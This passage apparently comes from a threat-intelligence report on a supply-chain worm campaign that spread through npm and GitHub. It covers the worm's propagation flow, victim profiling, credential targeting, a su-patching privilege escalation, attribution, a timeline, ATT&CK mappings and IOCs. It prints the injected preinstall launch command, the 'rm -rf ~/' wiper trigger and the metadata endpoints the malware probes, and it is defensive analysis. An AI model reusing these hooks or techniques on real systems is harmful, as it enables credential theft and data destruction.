The practical impact: any developer workstation where Sample B ran and the user was not already root must be treated as fully root-compromised. The malware verifies the escalation before continuing, so every subsequent action - persistence installation, wallet theft, miner deployment - runs as root. And the rootkit persists independently of the malware itself.
Detection strings (binary-level, zero legitimate uses): abad lpe enc, python3-csuwhoami, authencesn(hmac(sha256),cbc(aes)). Remediation: replace /usr/bin/su from a trusted package source (apt-get install --reinstall login on Debian/Ubuntu, rpm -V shadow-utils on RHEL/Fedora).
5.15 Breadth of Credential Targeting
Wave 1 targeted environment variables, credential files, process memory, and the Bitwarden CLI vault. Wave 2 extended that surface substantially. The TypeScript component's providers/kubernetes/kubernetes.ts carries 19 compiled regex patterns, and the Rust binary adds its own credential targeting layer on top.
Targeting across both waves:
| Credential type | Wave 1 | Wave 2 TS | Wave 2 Rust |
|---|---|---|---|
| npm / GitHub tokens | ✓ | ✓ | ✓ |
| AWS access key / secret + SigV4 | ✓ | ✓ (hand-rolled SigV4) | ✓ |
| SSH keys | ✓ | ✓ | - |
Shell history / .env | ✓ | ✓ | - |
| Cloud IMDS (AWS/Azure/GCP) | ✓ | ✓ | ✓ |
| Kubernetes service account tokens | - | ✓ (19 regex) | - |
| HashiCorp Vault (4 auth methods, 12 paths) | - | ✓ | - |
| GitLab tokens | - | ✓ | - |
| CircleCI tokens | ✓ | ✓ | - |
| Azure Managed Identity | - | ✓ | - |
| GCP ADC | - | ✓ | - |
| Stripe / Twilio / Slack / Intercom API keys | - | ✓ | - |
| Docker Hub credentials | - | ✓ | - |
| Database connection strings | - | ✓ | - |
| Bitwarden / 1Password vault | ✓ | ✓ | - |
| OIDC tokens (from process memory) | - | ✓ | - |
| Crypto wallets (Exodus, Atomic, Ledger) | - | - | ✓ |
npm _authToken (all registries) | ✓ | ✓ | ✓ |
npm bypass_2fa scope | - | ✓ | ✓ (binary confirmed) |
The Vault targeting deserves specific mention: the malware attempts token auth, AppRole auth, GitHub auth, and Kubernetes auth in sequence, checks 12 hardcoded token file paths, and validates the token before exfiltrating. This is targeted, validated credential theft, not a bulk credential hoover.
5.16 Wave 2: npm/GitHub Spreader Worm (Rust Binary - Sample A)
Static analysis of Sample A (SHA256: 461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab) was performed inside the same container-isolated Kali environment used for Sample B, using Ghidra 11.x headless analysis followed by symbol extraction from the unstripped ELF. Sample A is a development artifact - its symbols are fully intact, making reconstruction straightforward. Ghidra headless successfully decompiled 13 of 24 functions to C; the remaining 11 (primarily the ss::github API functions) are confirmed by symbol extraction but their implementations were not available for decompilation - the attack flow for those functions is reconstructed from call-graph and symbol-name analysis only.
Crate identity: The Rust v0 mangling hash csgVyfp85S5 identifies the binary's root crate as ss. Five source modules are confirmed from panic location strings embedded in the binary: src/main.rs, src/github.rs, src/npm.rs, src/preinstall.rs, and src/users.rs.
Complete function inventory (24 distinct functions):
| Module | Functions |
|---|---|
ss (root) | main, load_padded_self |
ss::padding | add_elf_padding |
ss::users | get_home_dirs, find_github_tokens, find_npm_tokens |
ss::github | get_repos, fetch_package_json, binary_exists_in_repo, self_copy_to_repo, create_blob, base64_encode, rng |
ss::npm | validate_npm_token, get_username, get_packages, do_package_attack, binary_exists_in_package, self_copy_to_package, bump_version, create_tar_entries, extract_tar_entries, base64_encode |
ss::preinstall | add_preinstall, add_scripts_block |
Attack flow (reconstructed from ss::main disassembly at 0x1cd6d0):
Sample A runs entirely in a Tokio async runtime. ss::main sets a custom HTTP user-agent via reqwest, then executes two parallel attack tracks:
GitHub track:
ss::users::find_github_tokens- parses~/.git-credentialsacross all home directories (get_home_dirsenumerates/etc/passwd-resident user homes)- For each token:
ss::github::get_repos→ enumerate all repos → filter by presence ofpackage.json ss::github::binary_exists_in_repo- skip repos already containing.claude/binary(idempotency gate)ss::github::fetch_package_json→ss::preinstall::add_preinstall→ injectnohup ./.claude/binary >/dev/null 2>&1 &intoscripts.preinstallss::github::self_copy_to_repo→create_blob- upload the self-binary as.claude/binaryusing the GitHub Contents API; commit author spoofed asclaude <claude@users.noreply.github.com>
npm track:
ss::users::find_npm_tokens- parses~/.npmrcfor_authTokenentries (all registries)ss::npm::validate_npm_token- validates each token via/-/whoami; discards revoked tokensss::npm::get_packages- lists all packages owned by the victim account via npm search- For each package:
ss::npm::binary_exists_in_package- skip already-infected packages ss::npm::do_package_attack:extract_tar_entries- unpack the latest published tarball (gzip-compressed viaflate2crate)add_preinstall- inject preinstall hook intopackage.jsonself_copy_to_package- add.claude/binaryto thefilesmanifestbump_version- increment patch version (forces downstreamnpm installto fetch the new tarball)create_tar_entries- repack the tarball (gzip viaflate2)- POST to
https://registry.npmjs.org/withbypass_2fascope if available
Anti-detection: hash-breaking self-replication. ss::load_padded_self reads the binary into memory via std::env::current_exe(), then calls ss::padding::add_elf_padding with a hardcoded length of 0x1000 (4096 bytes) of zero-filled data appended to the ELF image. The padding length is fixed, not random - the decompiled call is add_elf_padding(&local_40, uVar5, local_30, 0x1000) with no variable length parameter. This means all copies propagated from the same initial binary will produce the same SHA256 - uniqueness across the victim population is only achieved if the initial binary deployed to each attack instance differs. The ss::github::rng() function (a SystemTime::now()-seeded XOR shuffle) is present in the ss::github module but is not called from load_padded_self - its purpose is in GitHub API operations (likely commit nonce or blob identifier generation), not padding. Combined with the already has preinstall hook, skipping / already added, skipping idempotency guards, the binary avoids redundant infection of already-compromised targets.
base64 implementation: standard alphabet. ss::npm::base64_encode uses the standard RFC 4648 alphabet (ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/), confirmed from the decompiled literal. This contrasts with Sample B, which uses a custom base64 alphabet as an obfuscation layer. Sample A's use of standard base64 means its network traffic (GitHub blob uploads, npm tarball POSTs) is decodable without alphabet recovery.
Relationship to Sample B. Sample A is the replication layer; Sample B is the implant. Sample A carries no C2, no XMRig, no LPE, no wiper. Its sole function is to propagate itself through the npm/GitHub supply chain. The design separation - spreader vs. full RAT - is deliberate: Sample A is deposited in public-facing npm packages (where it may be flagged by registry scanners), while Sample B is deployed only on confirmed victim machines after tokens are validated.
5.17 Wave 2: Victim Profiling, Environment Detection, and Operational Telemetry (Rust Binary - Sample B)
Sample B contains a structured victim profiling phase that runs before any credential harvest or miner deployment begins. The complete operator-visible startup log sequence, reconstructed from binary strings, reveals the operational pipeline:
Agent starting
Panic handler installed
Creating state
Scanning environment variables
Collecting hardware ID
Checking for cloud provider
[+] AWS metadata collected ← or Azure / GCP / "[-] No cloud provider detected"
Credential scan complete
[+] Timestomp successful
Sending result response
[+] Connection established, starting heartbeat
This is not incidental logging - it is instrumented telemetry that gives the operator a per-victim status dashboard through the Tor C2 channel.
Hardware fingerprinting. Before scanning credentials, Sample B collects a hardware-based victim identifier by reading DMI/BIOS data from the host. The string BIOS3 appears as a structured field label in the binary, consistent with reading /sys/class/dmi/id/ entries (BIOS vendor, version, release date). This produces a stable machine identifier that persists across malware reinstallations, credential rotations, and OS reinstalls - the attacker can correlate a re-infected victim with their prior payload blobs even if the victim wiped and restored.
Cloud IMDS sequential probing. The cloud provider check queries the three major Instance Metadata Service endpoints in sequence: AWS (169.254.169.254/latest/meta-data/), Azure (169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true header), GCP (metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google). If all three return non-200, the binary logs [-] No cloud provider detected and proceeds without cloud credential targeting. On a CI runner or developer workstation without IMDS access, this path is skipped entirely - no latency penalty, no detectable network probes to unusual destinations for workstation victims.
CI environment detection. The string inside ci env appears as a branch label in Sample B. CI-specific behavior branches are triggered by checking standard CI environment variables (CI, GITHUB_ACTIONS, CIRCLECI, etc.). The likely use: on CI runners, skip persistence installation (a CI runner resets on each job) and prioritize OIDC token extraction and secret variable harvest over filesystem artifacts. On developer workstations, install persistence and the miner.
Container awareness. Sample B reads /proc/self/cgroup and probes /sys/fs/cgroup/memory.* to detect whether it is running inside a Linux container. The practical consequence: in a containerized CI environment, the LPE module (which patches /usr/bin/su) is less useful - the attacker likely skips it to avoid generating noise in container image scanners. The detection also allows the binary to adjust its persistence strategy based on whether writes to the host filesystem are expected to survive.
These four capabilities - hardware fingerprinting, cloud IMDS probing, CI detection, and container awareness - form an automated victim triage system. By the time the first heartbeat reaches the C2 operator, they already know: what hardware the victim runs, whether the victim is a cloud instance (and which cloud), whether they are a CI runner or a workstation, and whether the LPE succeeded. The operator does not need to interact with every victim to make deployment decisions; the binary profiles and reports, and the operator acts on the summary.
Dynamic confirmation - any.run sandbox (May 14, 2026). Crimson7's any.run submission directly confirmed the hardware fingerprinting guardrail in action: the binary launched, called /usr/bin/udevadm to read DMI/BIOS data, detected the VM environment, and self-terminated before any subsequent phase (credential scan, miner deploy, C2 contact) could execute. The sandbox captured zero malicious indicators, zero network connections to attacker infrastructure, and returned verdict "No threats detected" - proof that the guardrail fires before any detectable payload behavior begins. Full report
6. Victim Profiles
6.1 Wave 1 Victims (from public git commit metadata)
Git author emails in Wave 1 dead-drop repos - left by victims' own CI pipelines, visible in public GitHub history - gave us employer-level attribution for a subset of victims. In compliance with responsible disclosure norms, employer names are withheld pending notification. What the data supports:
- Victims span Portugal, Netherlands, Germany, and Belgium
- Two developer accounts sharing the same employer domain reflect a shared CI/CD pipeline: one poisoned
npm installcatches every developer on the same toolchain - One victim is an energy utility operating critical infrastructure - the highest-impact victim in Wave 1
- Eight total employer domains were identified across the Wave 1 corpus
6.2 Wave 2 Victims (characterised, not named)
In compliance with GDPR and responsible disclosure norms, Wave 2 victims who have not made their own public disclosures are not named. What the forensic data supports:
- A major global semiconductor manufacturer had at least one developer's CI credentials exfiltrated
- A contact centre technology firm had customer-facing CI secrets stolen
- A media platform's CI/CD automation account generated three payloads, suggesting automated pipeline execution on every push
- A B2B AI/SaaS platform had CI secrets stolen
- A financial systems consultancy had two dead-drop repos created under developer accounts
- Multiple individual developers account for the highest payload volumes; one developer alone generated 60+ dead-drop repos and 4.91 MB of encrypted exfil
7. Attribution
7.1 Actor: TeamPCP
This campaign is attributed to TeamPCP - a financially motivated threat actor cluster with consistent TTPs across at least seven observable waves since March 2026. The group's fingerprints:
- Hybrid AES-256-GCM / RSA-4096-OAEP payload encryption with the same embedded public key across all waves - an operational security failure that works in defenders' favour
- GitHub dead-drop exfiltration rather than direct C2 beaconing
- PBKDF2-based compile-time string obfuscation with per-wave salt rotation
- Dune-universe naming conventions applied consistently (waves vary only in which Dune terms appear)
- IDE persistence hooks targeting
.claude/settings.jsonand.vscode/tasks.json- developer-specific, not generic malware - CIS-country kill switch (
isSystemRussian()) present verbatim in TypeScript source and functionally equivalent in the Rust binary - Typosquatting security vendor domains as C2 (Checkmarx, Aqua Security, LiteLLM)
The self-published codebase provides a level of attribution certainty that reverse-engineering alone rarely achieves. The g00dfe11ow/Shai-Hulud-Open-Source repository - published by the attacker under MIT - carries the git committer email TeamPCP and author name TeamPCP_OSS. This is self-attribution by the actor, not our inference.
7.2 Identity Leads (Published as Threat Intelligence)
| Indicator | Account | Source | Notes |
|---|---|---|---|
enge31980@outlook.com | enge31 | git config (not spoofed) | Malware injector; published crypto-javascri (npm) and cryptox (PyPI) |
TeamPCP (git committer email) | g00dfe11ow, PedroTortoriello | commit metadata | Actor self-attribution; commit da10861592c3cfbc6cb61d83fe1da626968e3057 identical in both |
| UTC-3 commit timezone | gruposbftechrecruiter | all 414 commit timestamps | Consistent UTC-3 = South America (Brazil / Argentina / Uruguay); first geographic placement for this actor |
| GitHub ID 156470107 | Gimpy9587 | noreply email pattern | Wave 2 primary exfil operator; 273 of 306 commits from you@example.com / "Your Name" - unconfigured git env consistent with automated malware in clean container |
On Wave 1 exfil accounts: The high-volume Wave 1 exfil accounts are compromised victim developer accounts whose GitHub OAuth tokens were stolen and used by the malware for collection infrastructure. Commit metadata analysis confirmed real developer identities at these accounts - timezone patterns spanning UTC+2 (Eastern Europe), UTC+5:30 (India), and UTC+10 (Australia/Pacific). Their identities are withheld per GDPR. They are victims, not operators.
7.3 Geographic Assessment
The UTC-3 commit offset across all 414 gruposbftechrecruiter commits is the first solid geographic placement for the actor. UTC-3 in the standard timezone band maps to Brazil (Brasília time), Argentina, Uruguay, and parts of other South American countries. The CIS kill switch is inconsistent with a South American operator unless deliberately deployed as an attribution false flag - a documented technique for actors wanting to appear Russian-adjacent. We note the inconsistency and do not resolve it.
We assess with moderate-high confidence that the group responsible for all seven observable waves is the same operator set. We do not have sufficient evidence to attribute to a specific nation-state.
8. Full Campaign Timeline
| Date / Time (UTC) | Event | Wave |
|---|---|---|
| March 2026 | KICS (Checkmarx IaC scanner) supply chain attack; checkmarx.zone C2 | Pre-wave |
| March 2026 | LiteLLM and Telnyx PyPI packages compromised; models.litellm.cloud C2 | Pre-wave |
| March 2026 | Trivy (Aqua Security) scanner compromised; scan.aquasecurtiy.org C2 | Pre-wave |
| March 2026 | CanisterWorm variant - ICP blockchain C2 (tdtqy-oyaaa-...raw.icp0.io) | Pre-wave |
| Apr 22, 17:57 ET | @bitwarden/cli@2026.4.0 published - same RSA key as Wave 1 | Pre-W1 |
| Apr 22, 19:30 ET | @bitwarden/cli@2026.4.0 pulled by npm after community reports (93 min live) | Pre-W1 |
| Apr 23 | checkmarx.cx domain registered - Wave 1 preparation | Pre-W1 |
| Apr 28, 22:37 | First Wave 1 dead-drop repo created - attacker pipeline test | Wave 1 |
| Apr 29, 09:55 | mbt@1.2.48 published via compromised CloudMTABot | Wave 1 |
| Apr 29, 10:00–11:00 | Peak exfil hour: 290 events; all @cap-js packages published | Wave 1 |
| Apr 29, 11:05 | First victim developer accounts hit (Germany) | Wave 1 |
| Apr 29, 11:11 | Additional victim developer accounts hit (Portugal) | Wave 1 |
| Apr 29, 11:20 | Wave 1 exfil via compromised developer accounts begins | Wave 1 |
| Apr 29, 12:03 | StepSecurity files public disclosure | Wave 1 |
| Apr 29, 12:14 | Last malicious SAP package published | Wave 1 |
| Apr 29, 12:35 | Critical infrastructure victim hit (energy utility, Netherlands) | Wave 1 |
| Apr 29, 13:46 | SAP publishes clean replacement versions; malicious packages begin removal | Wave 1 |
| Apr 29, 17:18 | Last new victim dead-drop repo created | Wave 1 |
| Apr 30, 09:19 | Last observed exfil event; compromised exfil account still active 35 hours post-peak | Wave 1 |
| May 1 | Crimson7 Wave 1 analysis complete; checkmarx.cx NXDOMAIN; 94.154.172.43 still live | Wave 1 |
| May 10 | voicproducoes stages fork zblgg/configuration; @tanstack/* compromise begins | Wave 2 |
| May 10–11 | Gimpy9587 and SnailRocketDev dead-drop repo creation begins | Wave 2 |
| May 11, 19:20 | 84 malicious @tanstack/* package versions published in 6 minutes | Wave 2 |
| May 11 | Worm spreads to @uipath/* (60+ pkgs), @mistralai/mistralai, others via OIDC | Wave 2 |
| May 11 | IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner commits visible in dead-drop metadata | Wave 2 |
| May 12, 02:13 | Wipe operation: Gimpy9587 force-pushes single commit to all 273 dead-drop repos (49-min post-first-payload) | Wave 2 |
| May 12, 11:00 | Wiz Research advisory published | Wave 2 |
| May 12, 11:19 | SnailRocketDev first repo created - campaign active 19 min after Wiz advisory | Wave 2 |
| May 12 | enge31/crypto-js and enge31/cryptography identified; Sample B recovered | Wave 2 |
| May 12, 17:03 UTC | Sample B submitted to Hybrid Analysis by unknown third party (report 6a035d6dc31146dc8f0a7645); sandbox completes at 17:06 UTC; CrowdStrike Falcon: Clean, MetaDefender: 2/26 | Wave 2 |
| May 13 | Crimson7 container-isolated RE of Sample B: LPE module, 3 new IPs, bypass_2fa | Wave 2 |
| May 13 | Sample B VT submission: 1/75 detection | Wave 2 |
| May 13 | Crimson7 Wave 2 + unified analysis published; gh-token-monitor confirmed active on affected hosts | Wave 2 |
| May 14, 07:02 UTC | Crimson7 re-submits Sample B to HA with Heavy Anti-Evasion action script (report 6a0572d668b09dbf8808f73d); verdict: Suspicious, Threat Score 35/100, AV 7%, label LINUX.Agent; 20 indicators / 17 techniques / 6 tactics; standard sandbox evasion confirmed by verdict mismatch | Wave 2 |
| May 14, 08:46 UTC | Crimson7 submits Sample B to any.run (report); binary self-terminates after DMI check - T1480 guardrail confirmed; verdict: No threats detected; zero C2 contact, zero file drops | Wave 2 |
| May 14 | HA dynamic analysis of Sample B yields 4 new IPs; ringxn--dateInitFastTime[.]com domain identified in binary strings | Wave 2 |
9. Where It Fits - The Capability Arc
TeamPCP began in March 2026 as a credential harvester leveraging developer tool typosquats. By May 2026 it had:
- Graduated from typosquats to compromising legitimate package maintainer accounts (SAP Wave 1)
- Added cache poisoning via
pull_request_targetas an initial access vector that requires no malicious package at all (Wave 2) - Added OIDC token extraction from process memory to bypass file-based credential scanning (Wave 2)
- Forged Sigstore SLSA v1 provenance - satisfying the supply chain integrity check designed to prevent exactly this attack (Wave 2)
- Built a four-channel C2 stack including a Tor hidden service and a decentralized messenger network, both resistant to standard takedown (Wave 2)
- Deployed a compiled Rust RAT with a kernel privilege escalation module that the full commercial AV landscape cannot detect (Wave 2)
- Open-sourced its own tooling under MIT - either for recruitment, as a capability demonstration, or as an operational mistake (Wave 2)
The direction of travel is clear. Each wave addressed a specific failure mode from the prior wave. The C2 migration from a sinkholed domain to four redundant channels is a direct response to Wave 1's disruption. The OIDC memory extraction is a direct response to the fact that .npmrc file-based scanning was well-understood. The build file poisoning extends the infection surface beyond npm install into every build pipeline that ever touches an infected repository.
What makes this actor operationally significant is not any single technique but the combination: they iterate quickly, they instrument their infrastructure for per-victim yield tracking (the campaign_id / payout / histogram heartbeat fields), and they have demonstrated the ability to produce a Rust binary that evadesthe full commercial EDR/AV landscape. This is not a script-kiddie operation.
10. TTP Mapping - Combined
Wave 1
| Tactic | Technique | ID | Observed Behavior |
|---|---|---|---|
| Initial Access | Supply Chain Compromise | T1195.001 | Malicious npm packages in SAP/CAP ecosystem via compromised CI bot |
| Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | setup.mjs postinstall → execution.js via Bun runtime |
| Execution | Software Deployment Tools | T1072 | npm postinstall hook on npm install |
| Persistence | Event Triggered Execution | T1546 | .claude/settings.json SessionStart; .vscode/tasks.json folderOpen |
| Persistence | Hijack Execution Flow | T1574 | .github/workflows/format-check.yml CI injection |
| Defense Evasion | Obfuscated Files | T1027 | ctf-scramble-v2 PBKDF2 obfuscation; double-base64 PAT encoding |
| Defense Evasion | Execution Guardrails | T1480.001 | CIS-country locale kill switch (Exiting as russian language detected!) |
| Defense Evasion | Indicator Removal | T1070 | GitHub dead-drop; no direct C2 contact from victim host |
| Credential Access | Credentials from Password Stores | T1555 | Trojanized Bitwarden CLI vault extraction |
| Credential Access | Credentials In Files | T1552.001 | .env, AWS credentials, SSH keys, shell history - 134+ paths |
| Credential Access | Unsecured Credentials: Env Variables | T1552.007 | CI runner env var harvest |
| Credential Access | OS Credential Dumping | T1003 | Python /proc/mem dumper targeting Runner.Worker |
| Discovery | Cloud Infrastructure Discovery | T1580 | AWS IMDS, Azure MSI, GCP metadata endpoints |
| Collection | Automated Collection | T1119 | Per-session encrypted blob assembly |
| Exfiltration | Exfiltration to Code Repository | T1567.002 | GitHub as dead-drop staging layer |
| Exfiltration | Encrypted Channel | T1573.002 | AES-256-GCM + RSA-4096-OAEP payload encryption |
| Lateral Movement | Supply Chain | T1195.002 | CI publish token theft for downstream campaign access |
Wave 2 (additions and evolutions)
| Tactic | Technique | ID | Observed Behavior |
|---|---|---|---|
| Initial Access | Supply Chain: Cache Poisoning | T1195.001 | pnpm store cache poisoned via pull_request_target PR from fork |
| Credential Access | Process Memory Dump | T1057 | Python /proc/<pid>/mem read targeting Runner.Worker OIDC tokens |
| Credential Access | Modify Authentication Process: OIDC | T1556.005 | OIDC token exchanged for npm publish - no stored credentials needed |
| Credential Access | Cloud Instance Metadata | T1552.003 | AWS IMDS, Azure MSI, GCP metadata; K8s service account tokens |
| Credential Access | Credentials In Files (Vault) | T1552.001 | Vault token files (12 paths, 4 auth methods); Docker config |
| Defense Evasion | Forge Web Credentials | T1606.002 | Sigstore SLSA v1 provenance on worm-published packages - passes npm audit signatures |
| Defense Evasion | Masquerading | T1036.005 | Workflow spoofed as github-advanced-security[bot]; binary at .claude/settings |
| Defense Evasion | Timestomp | T1070.006 | utimensat - binary resets own file timestamps post-install |
| Defense Evasion | Process Injection (memfd) | T1055 | memfd_create - secondary payloads in anonymous memory, no disk write |
| Defense Evasion | Masquerading: Process Name | T1036.005 | prctl(PR_SET_NAME, "kworker/0:1-events") - mimics kernel worker thread; confirmed string at binary offset 268,529 |
| Defense Evasion | Indicator Removal: Timestomp | T1070.006 | [+] Timestomp successful - instrumented, verified post-deploy step |
| Defense Evasion | Virtualization/Sandbox Evasion | T1497.001 | CI detection (inside ci env); container detection via /proc/self/cgroup; sched_getaffinity CPU affinity check; adjusts behavior per environment |
| Defense Evasion | Obfuscated Files: Software Packing | T1027.002 | 1/75 VT; PBKDF2 compile-time obfuscation + stripped ELF |
| Defense Evasion | Execution Guardrails | T1480 | Environment-keyed execution: CI/container detection, CIS-country kill switch, and victim profiling gate before payload activation |
| Command & Control | Traffic Signaling: Socket Filters | T1205.002 | setsockopt BPF socket filter - confirmed via HA dynamic analysis |
| Execution | Native API | T1106 | Direct syscalls via syscall instruction: getrandom, sched_getaffinity, sigaltstack, gettid, statx, epoll_create1, eventfd2 |
| Discovery | System Information Discovery | T1082 | DMI/BIOS hardware fingerprint (BIOS3) generates stable per-victim ID; persistent across reinstalls |
| Discovery | Cloud Infrastructure Discovery | T1580 | Sequential AWS → Azure → GCP IMDS probing; [-] No cloud provider detected on workstations |
| Lateral Movement | Supply Chain Worm | T1195.001 | Inject + republish all packages victim can push; worm propagates on install |
| Lateral Movement | Build File Injection | T1195.001 | build.rs, CMakeLists.txt, setup.py execute .claude/settings on any build |
| Persistence | Event Triggered Execution: GitHub Actions | T1546 | codeql_analysis.yml injected as github-advanced-security[bot]; deletes run+branch post-execution |
| Persistence | Create or Modify System Process: Launch Agent | T1543.001 | gh-token-monitor.plist - macOS LaunchAgent |
| Persistence | Scheduled Task/Job: Systemd | T1053.006 | gh-token-monitor.service - Linux systemd user service |
| Command & Control | Non-Application Layer Protocol | T1095 | Session messenger network - decentralized, takedown-resistant |
| Command & Control | Multi-hop Proxy: Tor | T1090.003 | Rust binary Tor v3 hidden service via embedded arti client |
| Command & Control | Web Service: Dead Drop Resolver | T1102.001 | thebeautifulmarchoftime commits for Ed25519-signed C2 domain rotation |
| Impact | System Shutdown/Reboot | T1529 | rm -rf ~/ wiper on GitHub token revocation (gh-token-monitor) |
| Impact | Resource Hijacking | T1496 | XMRig cryptominer pushed via Tor C2 heartbeat; per-victim yield tracked via payout/histogram |
| Collection | Data from Local System | T1005 | Cryptocurrency wallets: Exodus, Atomic, Ledger Live |
| Exfiltration | Exfiltration Over Alternative Protocol | T1048 | Session messenger network as secondary exfil path |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | AF_ALG socket + splice() writes to read-only /usr/bin/su fd via kernel crypto path |
11. Key Takeaways
⚠ Do not revoke the GitHub tokens first. The reflex when discovering a stolen credential is immediate revocation. In this campaign that reflex wipes the developer's home directory. Before touching any gho_ token, enumerate every host running gh-token-monitor (W2-Q4), remove the daemon from all of them, remove .claude/ and .vscode/ persistence artifacts, and only then revoke. The daemon polls every 60 seconds. If it is running when the token is revoked, rm -rf ~/ fires.
npm audit signatures does not protect you. The worm publishes packages with valid Sigstore-signed SLSA v1 provenance, because it publishes through the victim's own OIDC-authenticated CI pipeline. The signature is genuine. The package is malicious. Provenance verification confirms the build pipeline, not the intent of whoever controls it. Monitoring for unexpected npm publishes from CI runners is the correct countermeasure, not verifying signatures on published packages.
The Rust binary contains a Linux privilege escalation module. An embedded Python script exploits the kernel AF_ALG crypto socket with splice() to patch /usr/bin/su via a read-only file descriptor. It activates automatically when not running as root. Any machine where Sample B executed and the user was not root must be treated as fully root-compromised. Detection: unexpected /usr/bin/su modification by non-package-manager processes (W2-Q12).
Your EDR missed the Rust binary. Sample B is 1/75 on VirusTotal as of May 13, 2026. Every major commercial EDR and AV engine except Microsoft ML returned clean. Hybrid Analysis independently confirmed this: CrowdStrike Falcon sandbox returned Clean on both static analysis and ML (report 6a035d6dc31146dc8f0a7645); MetaDefender multi-scan scored 2/26 (4% detection rate). Only when Crimson7 re-ran the sample with HA's Heavy Anti-Evasion action script (report 6a0572d668b09dbf8808f73d) - which patches CPUID, spoofs DMI/BIOS values, and manipulates timing signals - did the sandbox return a verdict of Suspicious (Threat Score 35/100, 7% AV detection, label LINUX.Agent). The standard-to-heavy-evasion verdict flip is direct evidence that Sample B's environment detection (T1480 Execution Guardrails) is functioning as designed: it successfully fooled the default Falcon Sandbox into a clean verdict. any.run independently confirmed this: Sample B self-terminated immediately after the /usr/bin/udevadm DMI check in any.run's standard sandbox (report), leaving zero network connections to attacker infrastructure and verdict "No threats detected." Three independent sandbox runs, three different outcomes - all explained by the T1480 guardrail and whether anti-evasion countermeasures were applied. The binary is also typed as application/x-sharedlib (PIE ELF) by HA and application/x-pie-executable by any.run - different classifiers, both confirming PIE ELF, and both potentially contributing to bypassing execution controls gated on MIME type. The combination of PBKDF2 compile-time obfuscation, stripped symbol table, prctl/memfd_create/utimensat runtime evasion, DMI/BIOS hardware fingerprinting, and a custom base64 alphabet was sufficient to evade the full commercial landscape under standard analysis conditions. Behavioral detections and anti-evasion sandbox configurations are the only reliable signal.
Build files are now attack surface. A poisoned build.rs in an infected repository executes attacker code on every developer machine that builds the project - no npm install needed, no active campaign infrastructure required. Add build.rs, setup.py, CMakeLists.txt, conanfile.py, and portfile.cmake to high-sensitivity file monitoring alongside CI workflow files.
GitHub Actions cache is an attack surface most teams have never considered. The pull_request_target footgun grants external fork code the repository's full write permissions. The pnpm store cache is shared across CI runs, inherited from fork PRs, and rarely audited. Review all pull_request_target triggers. Scope cache keys explicitly.
The dead-drop architecture defeats traditional exfil detection. Wave 1 and Wave 2 both sent only standard HTTPS traffic to github.com from victim hosts. Your egress monitoring would have seen nothing anomalous. Effective detection requires GitHub audit log streaming and monitoring for anomalous repository creation events, unexpected createCommitOnBranch API calls, or dead-drop canary strings.
HashiCorp Vault and Kubernetes secrets are in scope. If your CI pipelines had Vault access during Wave 1 or Wave 2 windows, treat those credentials as compromised. The targeting is thorough: four auth methods, twelve hardcoded token file paths, token validation before exfil.
The RSA-4096 public key is your best retroactive pivot. TeamPCP did not rotate it across seven observable waves. The header (MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA55aMQwvJuy++UvFmWrPW) is a YARA-able string that identifies any TeamPCP artifact - JavaScript or compiled - in your environment. If it appears in a node module or binary, you have a problem.
Sample B profiles every victim before acting. Hardware fingerprinting (DMI/BIOS), cloud IMDS probing (AWS/Azure/GCP), CI runner detection, and container awareness all run before the first credential scan. By the time the Tor C2 heartbeat fires, the operator has a complete profile: what machine, what cloud, developer workstation or CI runner, root or not. Defenders should look for unexpected IMDS probes from developer machines (workstations normally do not query 169.254.169.254) and unexpected reads from /sys/class/dmi/id/ or /proc/self/cgroup by non-system processes.
The open-sourced malware is both a threat and an opportunity. Publishing a near-complete implementation under MIT is not what careful state-sponsored actors do. Whatever the reason - recruitment, arrogance, or mistake - defenders now have source-level visibility into the complete tool chain. Use it. Build detections from the source. Every string in g00dfe11ow/Shai-Hulud-Open-Source is a detection opportunity.
12. IOC Summary
12.1 File Hashes - Wave 1
| File | SHA256 | Notes |
|---|---|---|
setup.mjs (shared loader, all 4 SAP pkgs) | 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34 | npm postinstall loader |
mbt@1.2.48 (execution.js) | 80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac | Main harvester payload |
@cap-js/sqlite@2.2.2 (execution.js) | 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95 | |
@cap-js/postgres@2.2.2 (execution.js) | eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb | |
@cap-js/db-service@2.10.1 (execution.js) | eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb | |
@bitwarden/cli@2026.4.0 | 99ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43f | Tarball; same RSA key |
Python /proc/mem dumper | 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7 | |
| Bitwarden CLI payload variant A | 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb | |
| Bitwarden CLI payload variant B | 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14 | |
| Additional TeamPCP variant | 167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad | |
bw_setup.js Bun stager | f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d | |
.claude/settings.json persistence hook | 14eb4ce01dd4307759887ff819359b70d7d9ff709ecde039a5abc1aac325b128 | |
.vscode/tasks.json persistence hook | 927387d0cfac1118df4b383decc2ea6ba49c9d2f98b47098bcbcba1efc026e1f |
12.2 File Hashes - Wave 2
| File | SHA256 | SHA1 | Notes |
|---|---|---|---|
router_init.js | ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c | - | Primary payload ~2.34 MB |
router_init.js (alt) | 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 | e7d582b98ca80690883175470e96f703ef6dc497 | |
setup.mjs (Wave 2) | 2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df | 12f35b1081b17d21815b35feb57ab03d02482116 | |
